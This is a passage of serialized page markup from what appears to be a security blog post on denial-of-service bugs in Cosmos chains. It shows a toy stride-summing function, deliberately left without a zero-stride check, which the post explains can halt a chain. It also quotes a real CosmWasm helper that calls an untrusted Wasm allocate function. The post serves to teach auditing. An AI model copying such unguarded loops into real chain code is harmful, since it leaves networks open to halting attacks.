",{"type":24,"tag":147,"props":81553,"children":81554},{"style":218},[81555],{"type":29,"value":81556},"memory",{"type":24,"tag":147,"props":81558,"children":81559},{"style":247},[81560],{"type":29,"value":81561}," arr\n",{"type":24,"tag":147,"props":81563,"children":81564},{"class":149,"line":187},[81565,81569,81573,81578,81582,81587],{"type":24,"tag":147,"props":81566,"children":81567},{"style":235},[81568],{"type":29,"value":564},{"type":24,"tag":147,"props":81570,"children":81571},{"style":218},[81572],{"type":29,"value":67257},{"type":24,"tag":147,"props":81574,"children":81575},{"style":321},[81576],{"type":29,"value":81577}," returns",{"type":24,"tag":147,"props":81579,"children":81580},{"style":235},[81581],{"type":29,"value":408},{"type":24,"tag":147,"props":81583,"children":81584},{"style":9044},[81585],{"type":29,"value":81586},"uint64",{"type":24,"tag":147,"props":81588,"children":81589},{"style":235},[81590],{"type":29,"value":505},{"type":24,"tag":147,"props":81592,"children":81593},{"class":149,"line":196},[81594,81598,81603,81607],{"type":24,"tag":147,"props":81595,"children":81596},{"style":9044},[81597],{"type":29,"value":81514},{"type":24,"tag":147,"props":81599,"children":81600},{"style":235},[81601],{"type":29,"value":81602}," idx ",{"type":24,"tag":147,"props":81604,"children":81605},{"style":241},[81606],{"type":29,"value":369},{"type":24,"tag":147,"props":81608,"children":81609},{"style":235},[81610],{"type":29,"value":81611}," start;\n",{"type":24,"tag":147,"props":81613,"children":81614},{"class":149,"line":205},[81615,81619,81624,81628,81632],{"type":24,"tag":147,"props":81616,"children":81617},{"style":9044},[81618],{"type":29,"value":81514},{"type":24,"tag":147,"props":81620,"children":81621},{"style":235},[81622],{"type":29,"value":81623}," sum ",{"type":24,"tag":147,"props":81625,"children":81626},{"style":241},[81627],{"type":29,"value":369},{"type":24,"tag":147,"props":81629,"children":81630},{"style":705},[81631],{"type":29,"value":708},{"type":24,"tag":147,"props":81633,"children":81634},{"style":235},[81635],{"type":29,"value":432},{"type":24,"tag":147,"props":81637,"children":81638},{"class":149,"line":214},[81639,81643,81648,81652],{"type":24,"tag":147,"props":81640,"children":81641},{"style":9044},[81642],{"type":29,"value":81514},{"type":24,"tag":147,"props":81644,"children":81645},{"style":235},[81646],{"type":29,"value":81647}," end ",{"type":24,"tag":147,"props":81649,"children":81650},{"style":241},[81651],{"type":29,"value":369},{"type":24,"tag":147,"props":81653,"children":81654},{"style":235},[81655],{"type":29,"value":81656}," arr.length;\n",{"type":24,"tag":147,"props":81658,"children":81659},{"class":149,"line":272},[81660],{"type":24,"tag":147,"props":81661,"children":81662},{"emptyLinePlaceholder":16},[81663],{"type":29,"value":314},{"type":24,"tag":147,"props":81665,"children":81666},{"class":149,"line":281},[81667,81671,81676,81680],{"type":24,"tag":147,"props":81668,"children":81669},{"style":321},[81670],{"type":29,"value":69955},{"type":24,"tag":147,"props":81672,"children":81673},{"style":235},[81674],{"type":29,"value":81675}," (idx ",{"type":24,"tag":147,"props":81677,"children":81678},{"style":241},[81679],{"type":29,"value":3583},{"type":24,"tag":147,"props":81681,"children":81682},{"style":235},[81683],{"type":29,"value":81684}," end) {\n",{"type":24,"tag":147,"props":81686,"children":81687},{"class":149,"line":299},[81688,81693,81697],{"type":24,"tag":147,"props":81689,"children":81690},{"style":235},[81691],{"type":29,"value":81692},"        sum ",{"type":24,"tag":147,"props":81694,"children":81695},{"style":241},[81696],{"type":29,"value":74020},{"type":24,"tag":147,"props":81698,"children":81699},{"style":235},[81700],{"type":29,"value":81701}," arr[idx];\n",{"type":24,"tag":147,"props":81703,"children":81704},{"class":149,"line":308},[81705,81710,81714],{"type":24,"tag":147,"props":81706,"children":81707},{"style":235},[81708],{"type":29,"value":81709},"        idx ",{"type":24,"tag":147,"props":81711,"children":81712},{"style":241},[81713],{"type":29,"value":74020},{"type":24,"tag":147,"props":81715,"children":81716},{"style":235},[81717],{"type":29,"value":81718}," stride;\n",{"type":24,"tag":147,"props":81720,"children":81721},{"class":149,"line":317},[81722],{"type":24,"tag":147,"props":81723,"children":81724},{"style":235},[81725],{"type":29,"value":1952},{"type":24,"tag":147,"props":81727,"children":81728},{"class":149,"line":332},[81729,81733],{"type":24,"tag":147,"props":81730,"children":81731},{"style":321},[81732],{"type":29,"value":2597},{"type":24,"tag":147,"props":81734,"children":81735},{"style":235},[81736],{"type":29,"value":81737}," sum;\n",{"type":24,"tag":147,"props":81739,"children":81740},{"class":149,"line":350},[81741],{"type":24,"tag":147,"props":81742,"children":81743},{"style":235},[81744],{"type":29,"value":827},{"type":24,"tag":137,"props":81746,"children":81750},{"code":81747,"language":81748,"meta":7,"className":81749,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[81751],{"type":24,"tag":80,"props":81752,"children":81753},{"__ignoreMap":7},[81754,81774,81787,81799,81817,81824,81831,81851,81863,81870,81877,81912,81938,81959,81988,82018,82063,82140,82176,82183,82227],{"type":24,"tag":147,"props":81755,"children":81756},{"class":149,"line":150},[81757,81761,81766,81770],{"type":24,"tag":147,"props":81758,"children":81759},{"style":218},[81760],{"type":29,"value":38357},{"type":24,"tag":147,"props":81762,"children":81763},{"style":9044},[81764],{"type":29,"value":81765}," MsgSumWithStrideParams",{"type":24,"tag":147,"props":81767,"children":81768},{"style":218},[81769],{"type":29,"value":26753},{"type":24,"tag":147,"props":81771,"children":81772},{"style":235},[81773],{"type":29,"value":6630},{"type":24,"tag":147,"props":81775,"children":81776},{"class":149,"line":160},[81777,81782],{"type":24,"tag":147,"props":81778,"children":81779},{"style":247},[81780],{"type":29,"value":81781},"    Start",{"type":24,"tag":147,"props":81783,"children":81784},{"style":9044},[81785],{"type":29,"value":81786}," uint64\n",{"type":24,"tag":147,"props":81788,"children":81789},{"class":149,"line":169},[81790,81795],{"type":24,"tag":147,"props":81791,"children":81792},{"style":247},[81793],{"type":29,"value":81794},"    Stride",{"type":24,"tag":147,"props":81796,"children":81797},{"style":9044},[81798],{"type":29,"value":81786},{"type":24,"tag":147,"props":81800,"children":81801},{"class":149,"line":178},[81802,81807,81812],{"type":24,"tag":147,"props":81803,"children":81804},{"style":247},[81805],{"type":29,"value":81806},"    Arr",{"type":24,"tag":147,"props":81808,"children":81809},{"style":235},[81810],{"type":29,"value":81811}," []",{"type":24,"tag":147,"props":81813,"children":81814},{"style":9044},[81815],{"type":29,"value":81816},"uint64\n",{"type":24,"tag":147,"props":81818,"children":81819},{"class":149,"line":187},[81820],{"type":24,"tag":147,"props":81821,"children":81822},{"style":235},[81823],{"type":29,"value":827},{"type":24,"tag":147,"props":81825,"children":81826},{"class":149,"line":196},[81827],{"type":24,"tag":147,"props":81828,"children":81829},{"emptyLinePlaceholder":16},[81830],{"type":29,"value":314},{"type":24,"tag":147,"props":81832,"children":81833},{"class":149,"line":205},[81834,81838,81843,81847],{"type":24,"tag":147,"props":81835,"children":81836},{"style":218},[81837],{"type":29,"value":38357},{"type":24,"tag":147,"props":81839,"children":81840},{"style":9044},[81841],{"type":29,"value":81842}," MsgSumWithStrideResponse",{"type":24,"tag":147,"props":81844,"children":81845},{"style":218},[81846],{"type":29,"value":26753},{"type":24,"tag":147,"props":81848,"children":81849},{"style":235},[81850],{"type":29,"value":6630},{"type":24,"tag":147,"props":81852,"children":81853},{"class":149,"line":214},[81854,81859],{"type":24,"tag":147,"props":81855,"children":81856},{"style":247},[81857],{"type":29,"value":81858},"    Sum",{"type":24,"tag":147,"props":81860,"children":81861},{"style":9044},[81862],{"type":29,"value":81786},{"type":24,"tag":147,"props":81864,"children":81865},{"class":149,"line":272},[81866],{"type":24,"tag":147,"props":81867,"children":81868},{"style":235},[81869],{"type":29,"value":827},{"type":24,"tag":147,"props":81871,"children":81872},{"class":149,"line":281},[81873],{"type":24,"tag":147,"props":81874,"children":81875},{"emptyLinePlaceholder":16},[81876],{"type":29,"value":314},{"type":24,"tag":147,"props":81878,"children":81879},{"class":149,"line":299},[81880,81885,81889,81894,81899,81903,81908],{"type":24,"tag":147,"props":81881,"children":81882},{"style":218},[81883],{"type":29,"value":81884},"func",{"type":24,"tag":147,"props":81886,"children":81887},{"style":235},[81888],{"type":29,"value":408},{"type":24,"tag":147,"props":81890,"children":81891},{"style":247},[81892],{"type":29,"value":81893},"ms ",{"type":24,"tag":147,"props":81895,"children":81896},{"style":9044},[81897],{"type":29,"value":81898},"msgServer",{"type":24,"tag":147,"props":81900,"children":81901},{"style":235},[81902],{"type":29,"value":564},{"type":24,"tag":147,"props":81904,"children":81905},{"style":229},[81906],{"type":29,"value":81907},"SumWithStride",{"type":24,"tag":147,"props":81909,"children":81910},{"style":235},[81911],{"type":29,"value":9088},{"type":24,"tag":147,"props":81913,"children":81914},{"class":149,"line":308},[81915,81920,81925,81929,81934],{"type":24,"tag":147,"props":81916,"children":81917},{"style":247},[81918],{"type":29,"value":81919},"    goCtx",{"type":24,"tag":147,"props":81921,"children":81922},{"style":9044},[81923],{"type":29,"value":81924}," context",{"type":24,"tag":147,"props":81926,"children":81927},{"style":235},[81928],{"type":29,"value":87},{"type":24,"tag":147,"props":81930,"children":81931},{"style":9044},[81932],{"type":29,"value":81933},"Context",{"type":24,"tag":147,"props":81935,"children":81936},{"style":235},[81937],{"type":29,"value":1549},{"type":24,"tag":147,"props":81939,"children":81940},{"class":149,"line":317},[81941,81946,81950,81955],{"type":24,"tag":147,"props":81942,"children":81943},{"style":247},[81944],{"type":29,"value":81945},"    msg",{"type":24,"tag":147,"props":81947,"children":81948},{"style":241},[81949],{"type":29,"value":1263},{"type":24,"tag":147,"props":81951,"children":81952},{"style":9044},[81953],{"type":29,"value":81954},"MsgSumWithStrideParams",{"type":24,"tag":147,"props":81956,"children":81957},{"style":235},[81958],{"type":29,"value":1549},{"type":24,"tag":147,"props":81960,"children":81961},{"class":149,"line":332},[81962,81967,81971,81976,81980,81984],{"type":24,"tag":147,"props":81963,"children":81964},{"style":235},[81965],{"type":29,"value":81966},") (",{"type":24,"tag":147,"props":81968,"children":81969},{"style":241},[81970],{"type":29,"value":244},{"type":24,"tag":147,"props":81972,"children":81973},{"style":9044},[81974],{"type":29,"value":81975},"MsgSumWithStrideResponse",{"type":24,"tag":147,"props":81977,"children":81978},{"style":235},[81979],{"type":29,"value":546},{"type":24,"tag":147,"props":81981,"children":81982},{"style":9044},[81983],{"type":29,"value":20477},{"type":24,"tag":147,"props":81985,"children":81986},{"style":235},[81987],{"type":29,"value":505},{"type":24,"tag":147,"props":81989,"children":81990},{"class":149,"line":350},[81991,81996,82001,82006,82010,82014],{"type":24,"tag":147,"props":81992,"children":81993},{"style":247},[81994],{"type":29,"value":81995},"    sum",{"type":24,"tag":147,"props":81997,"children":81998},{"style":241},[81999],{"type":29,"value":82000}," :=",{"type":24,"tag":147,"props":82002,"children":82003},{"style":9044},[82004],{"type":29,"value":82005}," uint64",{"type":24,"tag":147,"props":82007,"children":82008},{"style":235},[82009],{"type":29,"value":480},{"type":24,"tag":147,"props":82011,"children":82012},{"style":705},[82013],{"type":29,"value":3173},{"type":24,"tag":147,"props":82015,"children":82016},{"style":235},[82017],{"type":29,"value":269},{"type":24,"tag":147,"props":82019,"children":82020},{"class":149,"line":358},[82021,82026,82030,82034,82038,82042,82046,82050,82054,82059],{"type":24,"tag":147,"props":82022,"children":82023},{"style":247},[82024],{"type":29,"value":82025},"    end",{"type":24,"tag":147,"props":82027,"children":82028},{"style":241},[82029],{"type":29,"value":82000},{"type":24,"tag":147,"props":82031,"children":82032},{"style":9044},[82033],{"type":29,"value":82005},{"type":24,"tag":147,"props":82035,"children":82036},{"style":235},[82037],{"type":29,"value":480},{"type":24,"tag":147,"props":82039,"children":82040},{"style":229},[82041],{"type":29,"value":6227},{"type":24,"tag":147,"props":82043,"children":82044},{"style":235},[82045],{"type":29,"value":480},{"type":24,"tag":147,"props":82047,"children":82048},{"style":247},[82049],{"type":29,"value":63532},{"type":24,"tag":147,"props":82051,"children":82052},{"style":235},[82053],{"type":29,"value":87},{"type":24,"tag":147,"props":82055,"children":82056},{"style":247},[82057],{"type":29,"value":82058},"Arr",{"type":24,"tag":147,"props":82060,"children":82061},{"style":235},[82062],{"type":29,"value":3519},{"type":24,"tag":147,"props":82064,"children":82065},{"class":149,"line":397},[82066,82070,82075,82079,82084,82088,82093,82097,82102,82106,82111,82115,82119,82123,82127,82131,82136],{"type":24,"tag":147,"props":82067,"children":82068},{"style":321},[82069],{"type":29,"value":324},{"type":24,"tag":147,"props":82071,"children":82072},{"style":247},[82073],{"type":29,"value":82074}," idx",{"type":24,"tag":147,"props":82076,"children":82077},{"style":241},[82078],{"type":29,"value":82000},{"type":24,"tag":147,"props":82080,"children":82081},{"style":247},[82082],{"type":29,"value":82083}," msg",{"type":24,"tag":147,"props":82085,"children":82086},{"style":235},[82087],{"type":29,"value":87},{"type":24,"tag":147,"props":82089,"children":82090},{"style":247},[82091],{"type":29,"value":82092},"Start",{"type":24,"tag":147,"props":82094,"children":82095},{"style":235},[82096],{"type":29,"value":22832},{"type":24,"tag":147,"props":82098,"children":82099},{"style":247},[82100],{"type":29,"value":82101},"idx",{"type":24,"tag":147,"props":82103,"children":82104},{"style":241},[82105],{"type":29,"value":14344},{"type":24,"tag":147,"props":82107,"children":82108},{"style":247},[82109],{"type":29,"value":82110}," end",{"type":24,"tag":147,"props":82112,"children":82113},{"style":235},[82114],{"type":29,"value":22832},{"type":24,"tag":147,"props":82116,"children":82117},{"style":247},[82118],{"type":29,"value":82101},{"type":24,"tag":147,"props":82120,"children":82121},{"style":241},[82122],{"type":29,"value":1895},{"type":24,"tag":147,"props":82124,"children":82125},{"style":247},[82126],{"type":29,"value":82083},{"type":24,"tag":147,"props":82128,"children":82129},{"style":235},[82130],{"type":29,"value":87},{"type":24,"tag":147,"props":82132,"children":82133},{"style":247},[82134],{"type":29,"value":82135},"Stride",{"type":24,"tag":147,"props":82137,"children":82138},{"style":235},[82139],{"type":29,"value":6630},{"type":24,"tag":147,"props":82141,"children":82142},{"class":149,"line":421},[82143,82148,82152,82156,82160,82164,82168,82172],{"type":24,"tag":147,"props":82144,"children":82145},{"style":247},[82146],{"type":29,"value":82147},"        sum",{"type":24,"tag":147,"props":82149,"children":82150},{"style":241},[82151],{"type":29,"value":1895},{"type":24,"tag":147,"props":82153,"children":82154},{"style":247},[82155],{"type":29,"value":82083},{"type":24,"tag":147,"props":82157,"children":82158},{"style":235},[82159],{"type":29,"value":87},{"type":24,"tag":147,"props":82161,"children":82162},{"style":247},[82163],{"type":29,"value":82058},{"type":24,"tag":147,"props":82165,"children":82166},{"style":235},[82167],{"type":29,"value":9358},{"type":24,"tag":147,"props":82169,"children":82170},{"style":247},[82171],{"type":29,"value":82101},{"type":24,"tag":147,"props":82173,"children":82174},{"style":235},[82175],{"type":29,"value":17391},{"type":24,"tag":147,"props":82177,"children":82178},{"class":149,"line":435},[82179],{"type":24,"tag":147,"props":82180,"children":82181},{"style":235},[82182],{"type":29,"value":1952},{"type":24,"tag":147,"props":82184,"children":82185},{"class":149,"line":444},[82186,82190,82194,82198,82203,82208,82212,82217,82222],{"type":24,"tag":147,"props":82187,"children":82188},{"style":321},[82189],{"type":29,"value":2597},{"type":24,"tag":147,"props":82191,"children":82192},{"style":241},[82193],{"type":29,"value":12767},{"type":24,"tag":147,"props":82195,"children":82196},{"style":9044},[82197],{"type":29,"value":81975},{"type":24,"tag":147,"props":82199,"children":82200},{"style":235},[82201],{"type":29,"value":82202},"{",{"type":24,"tag":147,"props":82204,"children":82205},{"style":247},[82206],{"type":29,"value":82207},"Sum",{"type":24,"tag":147,"props":82209,"children":82210},{"style":235},[82211],{"type":29,"value":20943},{"type":24,"tag":147,"props":82213,"children":82214},{"style":247},[82215],{"type":29,"value":82216},"sum",{"type":24,"tag":147,"props":82218,"children":82219},{"style":235},[82220],{"type":29,"value":82221},"}, ",{"type":24,"tag":147,"props":82223,"children":82224},{"style":218},[82225],{"type":29,"value":82226},"nil\n",{"type":24,"tag":147,"props":82228,"children":82229},{"class":149,"line":452},[82230],{"type":24,"tag":147,"props":82231,"children":82232},{"style":235},[82233],{"type":29,"value":827},{"type":24,"tag":25,"props":82235,"children":82236},{},[82237,82239,82244,82245,82251],{"type":29,"value":82238},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":24,"tag":80,"props":82240,"children":82242},{"className":82241},[],[82243],{"type":29,"value":82101},{"type":29,"value":12940},{"type":24,"tag":80,"props":82246,"children":82248},{"className":82247},[],[82249],{"type":29,"value":82250},"stride",{"type":29,"value":82252},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":24,"tag":25,"props":82254,"children":82255},{},[82256],{"type":29,"value":82257},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":24,"tag":25,"props":82259,"children":82260},{},[82261],{"type":29,"value":82262},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":24,"tag":25,"props":82264,"children":82265},{},[82266],{"type":29,"value":82267},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":24,"tag":43,"props":82269,"children":82271},{"id":82270},"real-world-examples",[82272],{"type":29,"value":82273},"Real-World Examples",{"type":24,"tag":25,"props":82275,"children":82276},{},[82277],{"type":29,"value":82278},"Now, let's examine a few real-world instances.",{"type":24,"tag":25,"props":82280,"children":82281},{},[82282,82284,82290,82291,82297,82299,82305,82307,82313],{"type":29,"value":82283},"In the case of ",{"type":24,"tag":2773,"props":82285,"children":82288},{"href":82286,"rel":82287},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[2777],[82289],{"type":29,"value":23299},{"type":29,"value":12083},{"type":24,"tag":80,"props":82292,"children":82294},{"className":82293},[],[82295],{"type":29,"value":82296},"CosmWasm",{"type":29,"value":82298}," bug, the helper method ",{"type":24,"tag":80,"props":82300,"children":82302},{"className":82301},[],[82303],{"type":29,"value":82304},"write_to_contract",{"type":29,"value":82306}," negligently calls the untrusted Wasm function ",{"type":24,"tag":80,"props":82308,"children":82310},{"className":82309},[],[82311],{"type":29,"value":82312},"\"allocate\"",{"type":29,"value":87},{"type":24,"tag":25,"props":82315,"children":82316},{},[82317],{"type":24,"tag":2773,"props":82318,"children":82321},{"href":82319,"rel":82320},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[2777],[82322],{"type":29,"value":82323},"Permalink for snippet",{"type":24,"tag":137,"props":82325,"children":82327},{"code":82326,"language":8613,"meta":7,"className":8614,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[82328],{"type":24,"tag":80,"props":82329,"children":82330},{"__ignoreMap":7},[82331,82400,82448,82476,82505,82554,82628,82673,82696,82741,82748,82805,82824],{"type":24,"tag":147,"props":82332,"children":82333},{"class":149,"line":150},[82334,82338,82343,82347,82352,82356,82361,82365,82369,82373,82378,82382,82387,82391,82396],{"type":24,"tag":147,"props":82335,"children":82336},{"style":218},[82337],{"type":29,"value":25870},{"type":24,"tag":147,"props":82339,"children":82340},{"style":229},[82341],{"type":29,"value":82342}," write_to_contract",{"type":24,"tag":147,"props":82344,"children":82345},{"style":235},[82346],{"type":29,"value":3583},{"type":24,"tag":147,"props":82348,"children":82349},{"style":9044},[82350],{"type":29,"value":82351},"A",{"type":24,"tag":147,"props":82353,"children":82354},{"style":241},[82355],{"type":29,"value":978},{"type":24,"tag":147,"props":82357,"children":82358},{"style":9044},[82359],{"type":29,"value":82360}," BackendApi",{"type":24,"tag":147,"props":82362,"children":82363},{"style":235},[82364],{"type":29,"value":546},{"type":24,"tag":147,"props":82366,"children":82367},{"style":9044},[82368],{"type":29,"value":27652},{"type":24,"tag":147,"props":82370,"children":82371},{"style":241},[82372],{"type":29,"value":978},{"type":24,"tag":147,"props":82374,"children":82375},{"style":9044},[82376],{"type":29,"value":82377}," Storage",{"type":24,"tag":147,"props":82379,"children":82380},{"style":235},[82381],{"type":29,"value":546},{"type":24,"tag":147,"props":82383,"children":82384},{"style":9044},[82385],{"type":29,"value":82386},"Q",{"type":24,"tag":147,"props":82388,"children":82389},{"style":241},[82390],{"type":29,"value":978},{"type":24,"tag":147,"props":82392,"children":82393},{"style":9044},[82394],{"type":29,"value":82395}," Querier",{"type":24,"tag":147,"props":82397,"children":82398},{"style":235},[82399],{"type":29,"value":12214},{"type":24,"tag":147,"props":82401,"children":82402},{"class":149,"line":160},[82403,82407,82411,82415,82420,82424,82428,82432,82436,82440,82444],{"type":24,"tag":147,"props":82404,"children":82405},{"style":247},[82406],{"type":29,"value":9465},{"type":24,"tag":147,"props":82408,"children":82409},{"style":241},[82410],{"type":29,"value":978},{"type":24,"tag":147,"props":82412,"children":82413},{"style":241},[82414],{"type":29,"value":12767},{"type":24,"tag":147,"props":82416,"children":82417},{"style":9044},[82418],{"type":29,"value":82419},"Environment",{"type":24,"tag":147,"props":82421,"children":82422},{"style":235},[82423],{"type":29,"value":3583},{"type":24,"tag":147,"props":82425,"children":82426},{"style":9044},[82427],{"type":29,"value":82351},{"type":24,"tag":147,"props":82429,"children":82430},{"style":235},[82431],{"type":29,"value":546},{"type":24,"tag":147,"props":82433,"children":82434},{"style":9044},[82435],{"type":29,"value":27652},{"type":24,"tag":147,"props":82437,"children":82438},{"style":235},[82439],{"type":29,"value":546},{"type":24,"tag":147,"props":82441,"children":82442},{"style":9044},[82443],{"type":29,"value":82386},{"type":24,"tag":147,"props":82445,"children":82446},{"style":235},[82447],{"type":29,"value":11763},{"type":24,"tag":147,"props":82449,"children":82450},{"class":149,"line":169},[82451,82456,82460,82464,82468,82472],{"type":24,"tag":147,"props":82452,"children":82453},{"style":247},[82454],{"type":29,"value":82455},"    input",{"type":24,"tag":147,"props":82457,"children":82458},{"style":241},[82459],{"type":29,"value":978},{"type":24,"tag":147,"props":82461,"children":82462},{"style":241},[82463],{"type":29,"value":12767},{"type":24,"tag":147,"props":82465,"children":82466},{"style":235},[82467],{"type":29,"value":9358},{"type":24,"tag":147,"props":82469,"children":82470},{"style":9044},[82471],{"type":29,"value":2625},{"type":24,"tag":147,"props":82473,"children":82474},{"style":235},[82475],{"type":29,"value":19877},{"type":24,"tag":147,"props":82477,"children":82478},{"class":149,"line":178},[82479,82483,82487,82492,82496,82501],{"type":24,"tag":147,"props":82480,"children":82481},{"style":235},[82482],{"type":29,"value":564},{"type":24,"tag":147,"props":82484,"children":82485},{"style":241},[82486],{"type":29,"value":495},{"type":24,"tag":147,"props":82488,"children":82489},{"style":9044},[82490],{"type":29,"value":82491}," VmResult",{"type":24,"tag":147,"props":82493,"children":82494},{"style":235},[82495],{"type":29,"value":3583},{"type":24,"tag":147,"props":82497,"children":82498},{"style":9044},[82499],{"type":29,"value":82500},"u32",{"type":24,"tag":147,"props":82502,"children":82503},{"style":235},[82504],{"type":29,"value":12907},{"type":24,"tag":147,"props":82506,"children":82507},{"class":149,"line":187},[82508,82512,82517,82521,82526,82530,82534,82538,82542,82546,82550],{"type":24,"tag":147,"props":82509,"children":82510},{"style":218},[82511],{"type":29,"value":8634},{"type":24,"tag":147,"props":82513,"children":82514},{"style":247},[82515],{"type":29,"value":82516}," out_size",{"type":24,"tag":147,"props":82518,"children":82519},{"style":241},[82520],{"type":29,"value":651},{"type":24,"tag":147,"props":82522,"children":82523},{"style":229},[82524],{"type":29,"value":82525}," to_u32",{"type":24,"tag":147,"props":82527,"children":82528},{"style":235},[82529],{"type":29,"value":480},{"type":24,"tag":147,"props":82531,"children":82532},{"style":247},[82533],{"type":29,"value":13992},{"type":24,"tag":147,"props":82535,"children":82536},{"style":241},[82537],{"type":29,"value":87},{"type":24,"tag":147,"props":82539,"children":82540},{"style":229},[82541],{"type":29,"value":6227},{"type":24,"tag":147,"props":82543,"children":82544},{"style":235},[82545],{"type":29,"value":47560},{"type":24,"tag":147,"props":82547,"children":82548},{"style":241},[82549],{"type":29,"value":8785},{"type":24,"tag":147,"props":82551,"children":82552},{"style":235},[82553],{"type":29,"value":432},{"type":24,"tag":147,"props":82555,"children":82556},{"class":149,"line":196},[82557,82561,82565,82569,82573,82577,82582,82586,82590,82594,82598,82602,82607,82611,82615,82620,82624],{"type":24,"tag":147,"props":82558,"children":82559},{"style":218},[82560],{"type":29,"value":8634},{"type":24,"tag":147,"props":82562,"children":82563},{"style":247},[82564],{"type":29,"value":14782},{"type":24,"tag":147,"props":82566,"children":82567},{"style":241},[82568],{"type":29,"value":651},{"type":24,"tag":147,"props":82570,"children":82571},{"style":247},[82572],{"type":29,"value":48554},{"type":24,"tag":147,"props":82574,"children":82575},{"style":241},[82576],{"type":29,"value":87},{"type":24,"tag":147,"props":82578,"children":82579},{"style":229},[82580],{"type":29,"value":82581},"call_function1",{"type":24,"tag":147,"props":82583,"children":82584},{"style":235},[82585],{"type":29,"value":480},{"type":24,"tag":147,"props":82587,"children":82588},{"style":3534},[82589],{"type":29,"value":82312},{"type":24,"tag":147,"props":82591,"children":82592},{"style":235},[82593],{"type":29,"value":546},{"type":24,"tag":147,"props":82595,"children":82596},{"style":241},[82597],{"type":29,"value":485},{"type":24,"tag":147,"props":82599,"children":82600},{"style":235},[82601],{"type":29,"value":9358},{"type":24,"tag":147,"props":82603,"children":82604},{"style":247},[82605],{"type":29,"value":82606},"out_size",{"type":24,"tag":147,"props":82608,"children":82609},{"style":241},[82610],{"type":29,"value":87},{"type":24,"tag":147,"props":82612,"children":82613},{"style":229},[82614],{"type":29,"value":20499},{"type":24,"tag":147,"props":82616,"children":82617},{"style":235},[82618],{"type":29,"value":82619},"()])",{"type":24,"tag":147,"props":82621,"children":82622},{"style":241},[82623],{"type":29,"value":8785},{"type":24,"tag":147,"props":82625,"children":82626},{"style":235},[82627],{"type":29,"value":432},{"type":24,"tag":147,"props":82629,"children":82630},{"class":149,"line":205},[82631,82635,82640,82644,82649,82653,82657,82661,82665,82669],{"type":24,"tag":147,"props":82632,"children":82633},{"style":218},[82634],{"type":29,"value":8634},{"type":24,"tag":147,"props":82636,"children":82637},{"style":247},[82638],{"type":29,"value":82639}," target_ptr",{"type":24,"tag":147,"props":82641,"children":82642},{"style":241},[82643],{"type":29,"value":651},{"type":24,"tag":147,"props":82645,"children":82646},{"style":229},[82647],{"type":29,"value":82648}," ref_to_u32",{"type":24,"tag":147,"props":82650,"children":82651},{"style":235},[82652],{"type":29,"value":480},{"type":24,"tag":147,"props":82654,"children":82655},{"style":241},[82656],{"type":29,"value":485},{"type":24,"tag":147,"props":82658,"children":82659},{"style":247},[82660],{"type":29,"value":14706},{"type":24,"tag":147,"props":82662,"children":82663},{"style":235},[82664],{"type":29,"value":8758},{"type":24,"tag":147,"props":82666,"children":82667},{"style":241},[82668],{"type":29,"value":8785},{"type":24,"tag":147,"props":82670,"children":82671},{"style":235},[82672],{"type":29,"value":432},{"type":24,"tag":147,"props":82674,"children":82675},{"class":149,"line":214},[82676,82680,82684,82688,82692],{"type":24,"tag":147,"props":82677,"children":82678},{"style":321},[82679],{"type":29,"value":4759},{"type":24,"tag":147,"props":82681,"children":82682},{"style":247},[82683],{"type":29,"value":82639},{"type":24,"tag":147,"props":82685,"children":82686},{"style":241},[82687],{"type":29,"value":8911},{"type":24,"tag":147,"props":82689,"children":82690},{"style":705},[82691],{"type":29,"value":708},{"type":24,"tag":147,"props":82693,"children":82694},{"style":235},[82695],{"type":29,"value":6630},{"type":24,"tag":147,"props":82697,"children":82698},{"class":149,"line":272},[82699,82703,82707,82711,82716,82720,82725,82729,82733,82737],{"type":24,"tag":147,"props":82700,"children":82701},{"style":321},[82702],{"type":29,"value":7020},{"type":24,"tag":147,"props":82704,"children":82705},{"style":9044},[82706],{"type":29,"value":21359},{"type":24,"tag":147,"props":82708,"children":82709},{"style":235},[82710],{"type":29,"value":480},{"type":24,"tag":147,"props":82712,"children":82713},{"style":9044},[82714],{"type":29,"value":82715},"CommunicationError",{"type":24,"tag":147,"props":82717,"children":82718},{"style":241},[82719],{"type":29,"value":9106},{"type":24,"tag":147,"props":82721,"children":82722},{"style":229},[82723],{"type":29,"value":82724},"zero_address",{"type":24,"tag":147,"props":82726,"children":82727},{"style":235},[82728],{"type":29,"value":19495},{"type":24,"tag":147,"props":82730,"children":82731},{"style":241},[82732],{"type":29,"value":87},{"type":24,"tag":147,"props":82734,"children":82735},{"style":229},[82736],{"type":29,"value":20499},{"type":24,"tag":147,"props":82738,"children":82739},{"style":235},[82740],{"type":29,"value":21037}